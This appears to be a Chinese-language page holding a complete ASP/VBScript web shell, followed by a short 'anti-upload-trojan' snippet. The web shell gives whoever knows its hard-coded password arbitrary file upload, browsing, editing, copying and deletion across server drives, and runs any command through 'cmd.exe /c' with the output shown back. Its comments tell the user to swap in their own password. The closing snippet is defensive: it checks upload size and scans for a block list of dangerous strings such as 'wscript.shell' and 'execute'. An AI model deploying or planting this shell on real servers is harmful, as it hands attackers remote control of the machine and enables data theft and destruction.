<%@ LANGUAGE="VBSCRIPT" codepage ="936" %> <title>111</title> <style> body{font-family: 宋体 ; font-size: 10pt} table{ font-family: 宋体; font-size: 9pt } a{ font-family: 宋体; font-size: 9pt; color: #000000; text-decoration: none } a:hover{ font-family: 宋体; color: #807123; text-decoration: none } input { BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt; </style> <% if request("up")=1then %> <%Server.ScriptTimeOut=5000%> <SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT> dim Data_5xsoft Class upload_5xsoft dim objForm,objFile,Version Publicfunction Form(strForm) strForm=lcase(strForm) ifnot objForm.exists(strForm) then Form="" else Form=objForm(strForm) endif end function Publicfunction File(strFile) strFile=lcase(strFile) ifnot objFile.exists(strFile) then set File=new FileInfo else set File=objFile(strFile) endif end function PrivateSub Class_Initialize dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile dim iFileSize,sFilePath,sFileType,sFormValue,sFileName dim iFindStart,iFindEnd dim iFormStart,iFormEnd,sFormName set objForm=Server.CreateObject("Scripting.Dictionary") set objFile=Server.CreateObject("Scripting.Dictionary") if Request.TotalBytes<1thenExitSub set tStream = Server.CreateObject("adodb.stream") set Data_5xsoft = Server.CreateObject("adodb.stream") Data_5xsoft.Type =1 Data_5xsoft.Mode =3 Data_5xsoft.Open Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes) Data_5xsoft.Position=0 RequestData =Data_5xsoft.Read iFormStart =1 iFormEnd = LenB(RequestData) vbCrlf = chrB(13) & chrB(10) sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1) iStart = LenB (sStart) iFormStart=iFormStart+iStart+1 while (iFormStart +10) < iFormEnd iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3 tStream.Type =1 tStream.Mode =3 tStream.Open Data_5xsoft.Position = iFormStart Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart tStream.Position =0 tStream.Type =2 tStream.Charset ="gb2312" sInfo = tStream.ReadText tStream.Close iFormStart = InStrB(iInfoEnd,RequestData,sStart) iFindStart =InStr(22,sInfo,"name=""",1)+6 iFindEnd =InStr(iFindStart,sInfo,"""",1) sFormName =lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart)) ifInStr (45,sInfo,"filename=""",1) >0then set theFile=new FileInfo iFindStart =InStr(iFindEnd,sInfo,"filename=""",1)+10 iFindEnd =InStr(iFindStart,sInfo,"""",1) sFileName =Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileName=getFileName(sFileName) theFile.FilePath=getFilePath(sFileName) iFindStart =InStr(iFindEnd,sInfo,"Content-Type: ",1)+14 iFindEnd =InStr(iFindStart,sInfo,vbCr) theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileStart =iInfoEnd theFile.FileSize = iFormStart -iInfoEnd -3 theFile.FormName=sFormName ifnot objFile.Exists(sFormName) then objFile.add sFormName,theFile endif else tStream.Type =1 tStream.Mode =3 tStream.Open Data_5xsoft.Position = iInfoEnd Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3 tStream.Position =0 tStream.Type =2 tStream.Charset ="gb2312" sFormValue = tStream.ReadText tStream.Close if objForm.Exists(sFormName) then objForm(sFormName)=objForm(sFormName)&", "&sFormValue else objForm.Add sFormName,sFormValue endif endif iFormStart=iFormStart+iStart+1 wend RequestData="" set tStream =nothing End Sub PrivateSub Class_Terminate if Request.TotalBytes>0then objForm.RemoveAll objFile.RemoveAll set objForm=nothing set objFile=nothing Data_5xsoft.Close set Data_5xsoft =nothing endif End Sub Privatefunction GetFilePath(FullPath) If FullPath <>""Then GetFilePath =left(FullPath,InStrRev(FullPath, "")) Else GetFilePath ="" EndIf End function Privatefunction GetFileName(FullPath) If FullPath <>""Then GetFileName =mid(FullPath,InStrRev(FullPath, "")+1) Else GetFileName ="" EndIf End function End Class Class FileInfo dim FormName,FileName,FilePath,FileSize,FileType,FileStart PrivateSub Class_Initialize FileName ="" FilePath ="" FileSize =0 FileStart=0 FormName ="" FileType ="" End Sub Publicfunction SaveAs(FullPath) dim dr,ErrorChar,i SaveAs=true iftrim(fullpath)=""or FileStart=0or FileName=""orright(fullpath,1)="/"thenexitfunction set dr=CreateObject("Adodb.Stream") dr.Mode=3 dr.Type=1 dr.Open Data_5xsoft.position=FileStart Data_5xsoft.copyto dr,FileSize dr.SaveToFile FullPath,2 dr.Close set dr=nothing SaveAs=false end function End Class </SCRIPT> <% dim upload,file,formName,formPath,iCount set upload=new upload_5xsoft if upload.form("filepath")=""then response.write "请输入要上传至的目录!" set upload=nothing response.end else formPath=upload.form("filepath") ifright(formPath,1)<>"/"then formPath=formPath&"/" endif iCount=0 foreach formName in upload.objForm next response.write "<br>" foreach formName in upload.objFile set file=upload.file(formName) if file.FileSize>0then file.SaveAs Server.mappath(formPath&file.FileName) response.write "<center>"&file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 上传成功!</center><br>" iCount=iCount+1 endif set file=nothing next set upload=nothing response.write "<center>"&iCount&"个文件上传结束!</center>" response.write "<center><br><a href=""javascript:history.back();""><font color='#D00000'>返回上一页</font></a></center>" else url= Request.ServerVariables("URL") '修改下面的haiyangtop.126.com改为你密码 iftrim(request.form("password"))="haiyangtop.126.com"then response.cookies("password")="allen" response.redirect ""&url&"" elseif Request.Cookies("password")<>"allen"then call login() response.end endif selectcase request("id") case"edit" call edit() case"upload" call upload() case"dir" call dir() caseelse call main() endselect endif sub login() for i=0to25 onerrorresumenext IsObj=false VerObj="" dim TestObj set TestObj=server.CreateObject(ObjTotest(i,0)) If-2147221005<> Err then IsObj =True VerObj = TestObj.version if VerObj=""orisnull(VerObj) then VerObj=TestObj.about endif ObjTotest(i,2)=IsObj ObjTotest(i,3)=VerObj next %> <body><center> <table border=0 width=500 cellspacing=0 cellpadding=0 bgcolor="#B8B8B8"> <tr><td> <table border=0 width=100% cellspacing=1 cellpadding=0> <tr bgcolor="#EEEEEE" height=18> <td width="59%" align=left> 服务器名</td> <td width="41%" bgcolor="#EEEEEE"><%=Request.ServerVariables("SERVER_NAME")%></td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left> 服务器IP</td> <td><%=Request.ServerVariables("LOCAL_ADDR")%></td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left> 服务器端口</td> <td><%=Request.ServerVariables("SERVER_PORT")%></td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left> 服务器时间</td> <td><%=now%></td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left> 本文件绝对路径</td> <td><%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left> 服务器CPU数量</td> <td><%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left> 服务器操作系统</td> <td><%=Request.ServerVariables("OS")%></td> </tr> <tr bgcolor="#EEEEEE" height=18> <td align=left><font class=fonts>服务器运算速度测试</font></td> <td> 完成时间</td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left>Allen的电脑(521M,Athlon2200+)</td> <td>186.6 毫秒</td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left>中国频道虚拟主机(2002-08-06)</td> <td>610.9 毫秒</td> </tr> <tr bgcolor="#FFFFFF" height=18> <td align=left>西部数码west263主机(2002-08-06)</td> <td>357.8 毫秒</td> </tr> <tr bgcolor="#FFFFFF" height=18><% dim t1,t2,lsabc,thetime t1=timer for i=1to500000 lsabc=1+1 next t2=timer thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10) %><td align=left><font color=red>您正在使用的这台服务器</font></td> <td><font color=red><%=thetime%> 毫秒</font></td> </tr> </table> </td> </tr> </table> <html> <body><center> <table> <%response.write "<font class=fonts>一次只能执行一个操作:)在本页操作不需要FSO支持&当服务器时间</font>" %> <%response.write now()%><BR> <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=text value="<%=szCMD %>"><font class=fonts>输入要浏览的目录,最后要加</font><br> <input type=text name=text1 value="<%=szCMD1 %>"> copy <input type=text name=text2 value="<%=szCMD2 %>"><br> <input type=text name=text3 value="<%=szCMD3 %>"> move <input type=text name=text4 value="<%=szCMD4 %>"><br> 路径:<input type=text name=text5 value="<%=szCMD5 %>"> 程序:<input type=text name=text6 value="<%=szCMD6 %>"><br> <input type=submit name=sb value=发送命令 class=input> </form> </table> </center> </body> </html> <% szCMD = Request.Form("text") '目录浏览 if (szCMD <>"") then set shell=server.createobject("shell.application") '建立shell对象 set fod1=shell.namespace(szcmd) set foditems=fod1.items foreach co in foditems response.write "<font color=red>"& co.path &"-----"& co.size &"</font><br>" next endif %> <% szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝 szCMD2 = Request.Form("text2") if szcmd1<>""and szcmd2<>""then set shell1=server.createobject("shell.application") '建立shell对象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to1 step -1 ifmid(szcmd1,i,1)=""then path=left(szcmd1,i-1) exitfor endif next iflen(path)=2then path=path &"" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" endif %> <% szCMD3 = Request.Form("text3") '目录移动 szCMD4 = Request.Form("text4") if szcmd3<>""and szcmd4<>""then set shell2=server.createobject("shell.application") '建立shell对象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to1 step -1 ifmid(szcmd3,i,1)=""then path=left(szcmd3,i-1) exitfor endif next iflen(path)=2then path=path &"" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" endif %> <% szCMD5 = Request.Form("text5") '执行程序要指定路径 szCMD6 = Request.Form("text6") if szcmd5<>""and szcmd6<>""then set shell3=server.createobject("shell.application") '建立shell对象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" endif %> <form method="POST" action=""&url&""> Enter Password:<input type="password" name="password"size="20"> <input type="submit" value="LOGIN"> </center></form> </body> <%end sub%> <%sub main() '修改下面的urlpath改为你服务器的实际URL urlpath="http://localhost" dim cpath,lpath set fsoBrowse=CreateObject("Scripting.FileSystemObject") if Request("path")=""then lpath="/" else lpath=Request("path")&"/" endif if Request("attrib")="true"then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" endif %><html> <script language="javascript"> function crfile(ls) {if (ls==""){alert("请输入文件名!");} else {window.open("<%=url%>?id=edit&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);} return false; } function crdir(ls) {if (ls==""){alert("请输入文件名!");} else {window.open("<%=url%>?id=dir&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);} return false; } </script> <script language="vbscript"> sub rmdir(ls) if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then window.open("<%=url%>?id=dir&path="&ls&"&op=del&attrib=<%=request("attrib")%>") endif end sub sub copyfile(sfile) dfile=InputBox(""&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"请输入目标文件的文件名:"&Chr(13)&Chr(10)&"许带路径,要根据你的当前路径模式. 注意:绝对路径示例c:/或c:都可以") dfile=trim(dfile) attrib="<%=request("attrib")%>" if dfile<>""then ifInStr(dfile,":") orInStr(dfile,"/")=1then lp="" ifInStr(dfile,":") and attrib<>"true"then alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]" exitsub endif else lp="<%=lpath%>" endif window.open(""&url&"?id=edit&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile) else alert"您没有输入文件名!" endIf end sub </script><body bgcolor="#F5F5F5"> <TABLE cellSpacing=1 cellPadding=3 width="750" align=center bgColor=#b8b8b8 border=0> <TBODY> <TR > <TD height=22 colspan="4" bgcolor="#eeeeee">切换盘符: <% ForEach thing in fsoBrowse.Drives Response.write "<a href='"&url&"?path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&"盘:</a> " NEXT %> 本机局域网地址: <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") %><%="/"& oScriptNet.ComputerName &""& oScriptNet.UserName %></TD> </TR><TD colspan="4" bgcolor="#ffffff"><% if Request("attrib")="true"then response.write "<a href='"&url&"'><font color='#D00000'>点击切换到相对路径编辑模式</font></a>" else response.write "<a href='"&url&"?attrib=true'><font color='#D00000'>点击切换到绝对路径编辑模式</font></a>" endif %>绝对路径: <%=cpath%> 当前浏览目录:<%=lpath%></TD></TR><TR> <TD height=22 colspan="4" bgcolor="#eeeeee"> <form name="form1" method="post" action="<%=url%>"> 浏览目录: <input type="text" name="path" size="30" value="c:"> <input type="hidden" name="attrib" value="true"> <input type="submit" name="Submit" value="浏览目录"> 〖请使用绝对路径,支持局域网地址!〗 </TD></form> </TR><TR > <TD colspan="4" bgcolor="#ffffff"><form name="form1" method="post" action="<%=url%>?up=1" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload"> 上传到: <input name="filepath" type="text" value="/" size="5"> 文件地址: <input type="file" name="file1" value=""> <input type="submit" name="Submit" value="上传文件"> 〖请使用相对路径!〗 </TD> </form></TR> <TR bgcolor="#eeeeee"> <TD colspan="4"> <% OnErrorResumeNext Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <>"") Then szTempFile ="C:"& oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c "& szCMD &" > "& szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) EndIf%> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=40 value="<%= szCMD %>"> <input type=submit value="执行程序"> 〖请使用绝对路径,并且确定你有相应权限!〗 <% If (IsObject(oFile)) Then OnErrorResumeNext Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) EndIf %> </TD></FORM></TR> <TR bgColor=#ffffff> <TD height=22 colspan="4"><form name="newfile" onSubmit="return crfile(newfile.filename.value);"> <input type="text" name="filename" size="40"> <input type="submit" value="新建文件"> <input type="button" value="新建目录"onclick="crdir(newfile.filename.value)">〖新建文件和新建目录不能同名〗 </TD></form> </TR> <TR> <TD height=22 width="26%" rowspan="2" valign="top" bgColor=#eeeeee > <% dim theFolder,theSubFolders if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"<a href='"&url&"?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>" ForEach x In theSubFolders Response.write"<a href='"&url&"?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> <a href="&chr(34)&"javascript: rmdir('"&lpath&x.Name&"')"&chr(34)&"><font color='#FF8000' >×</font>删除</a><br>" Next endif %> </TD> <TD width="45%" bgColor=#eeeeee>文件名 (鼠标移到文件名可以查看给文件的属性)</TD> <TD width="11%" bgColor=#eeeeee>大小(字节)</TD> <TD width="18%" bgColor=#eeeeee>文件操作</TD> </TR> <TR> <TD height=200 colspan="3" valign="top" bgColor=#ffffff> <% dim theFiles if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theFiles=theFolder.Files Response.write"<table border='0' width='100%' cellpadding='0'>" ForEach x In theFiles if Request("attrib")="true"then showstring="<strong>"&x.Name&"</strong>" else showstring="<a href='"&urlpath&lpath&x.Name&"' title='"&"类型"&x.type&chr(10)&"属性"&x.Attributes&chr(10)&"时间:"&x.DateLastModified&"'target='_blank'><strong>"&x.Name&"</strong></a>" endif Response.write"<tr><td width='50%'><font color='#FF8000'>□</font>"&showstring&"</td><td width='8%'>"&x.size&"</a></td><td width='20%'><a href='"&url&"?id=edit&path="&lpath&x.Name&"&attrib="&attrib&"' target='_blank' > 编辑</a><a href='"&url&"?id=edit&path="&lpath&x.Name&"&op=del&attrib="&attrib&"' target='_blank' > 删除</a><a href='#' onclick=copyfile('"&lpath&x.Name&"')> 复制</a></td></tr>" Next endif Response.write"</table>" %> </TD> </TR></TBODY> </TABLE> <% end sub sub edit() if request("op")="del"then if Request("attrib")="true"then whichfile=Request("path") else whichfile=server.mappath(Request("path")) endif Set fs =CreateObject("Scripting.FileSystemObject") Set thisfile = fs.GetFile(whichfile) thisfile.Delete True Response.write "<br><center>删除成功!要刷新才能看到效果.</center>" else if request("op")="copy"then if Request("attrib")="true"then whichfile=Request("path") dsfile=Request("dpath") else whichfile=server.mappath(Request("path")) dsfile=Server.MapPath(Request("dpath")) endif Set fs =CreateObject("Scripting.FileSystemObject") Set thisfile = fs.GetFile(whichfile) thisfile.copy dsfile Response.write "<center><p>源文件:"+whichfile+"</center>" Response.write "<center><br>目的文件:"+dsfile+"</center>" Response.write "<center><br>复制成功!要刷新才能看到效果!</p></center>" else if request.form("text")=""then if Request("creat")<>"yes"then if Request("attrib")="true"then whichfile=Request("path") else whichfile=server.mappath(Request("path")) endif Set fs =CreateObject("Scripting.FileSystemObject") Set thisfile = fs.OpenTextFile(whichfile, 1, False) counter=0 thisline=thisfile.readall thisfile.Close set fs=nothing endif %> <form method="POST" action=""&url&"?id=edit"> <input type="hidden" name="attrib" value="<%=Request("attrib")%>"> <br> <TABLE cellSpacing=1 cellPadding=3 width="750" align=center bgColor=#b8b8b8 border=0> <TBODY> <TR > <TD height=22 bgcolor="#eeeeee"><div align="center"></div></TD> </TR> <TR > <TD width="100%" height=22 bgcolor="#ffffff">文件名: <input type="text" name="path" size="45" value="<%=Request("path")%>"readonly> </TD> </TR> <TR> <TD height=22 bgcolor="#eeeeee"><div align="center"> <textarea rows="25" name="text" cols="105"><%=thisline%></textarea> </div></TD> </TR> <TR> <TD height=22 bgcolor="#ffffff"><div align="center"> <input type="submit" value="提交" name="B1"> <input type="reset" value="复原" name="B2"> </div></TD> </TR> </TABLE> </form> <%else if Request("attrib")="true"then whichfile=Request("path") else whichfile=server.mappath(Request("path")) endif Set fs =CreateObject("Scripting.FileSystemObject") Set outfile=fs.CreateTextFile(whichfile) outfile.WriteLine Request("text") outfile.close set fs=nothing Response.write "<center>修改成功!要刷新才能看到效果!</center>" endif endif endif end sub endif %> <% sub dir() if request("op")="del"then if Request("attrib")="true"then whichdir=Request("path") else whichdir=server.mappath(Request("path")) endif Set fs =CreateObject("Scripting.FileSystemObject") fs.DeleteFolder whichdir,True Response.write "<center>删除成功!要刷新才能看到效果,删除的目录为:<b>"&whichdir&"</b></center>" else if request("op")="creat"then if Request("attrib")="true"then whichdir=Request("path") else whichdir=server.mappath(Request("path")) endif Set fs =CreateObject("Scripting.FileSystemObject") fs.CreateFolder whichdir Response.write "<center>建立成功!要刷新才能看到效果,建立的目录为:<b>"&whichdir&"</b></center>" endif endif end sub %> <br> </body> </html>
二、ASP防上传木马代码
1、首先判断上传文件大小
if file.filesize<10then Response.Write("<script>alert('您没有选择上传文件')</script>") Response.Write("<script>history.go(-1)</script>") Response.End() endif
2、将文件上传到服务器后,判断用户文件中的危险操作字符
set MyFile = server.CreateObject("Scripting.FileSystemObject") set MyText = MyFile.OpenTextFile(FilePath, 1) '读取文本文件 sTextAll =lcase(MyText.ReadAll) MyText.close set MyFile =nothing sStr=".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas |wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=" sNoString =split(sStr,"|") for i=0toubound(sNoString) ifinstr(sTextAll,sNoString(i)) then set filedel = server.CreateObject("Scripting.FileSystemObject") filedel.deletefile FilePath set filedel =nothing Response.Write("<script>alert('您上传的文件有问题,上传失败');window.close();</script>") Response.End() endif next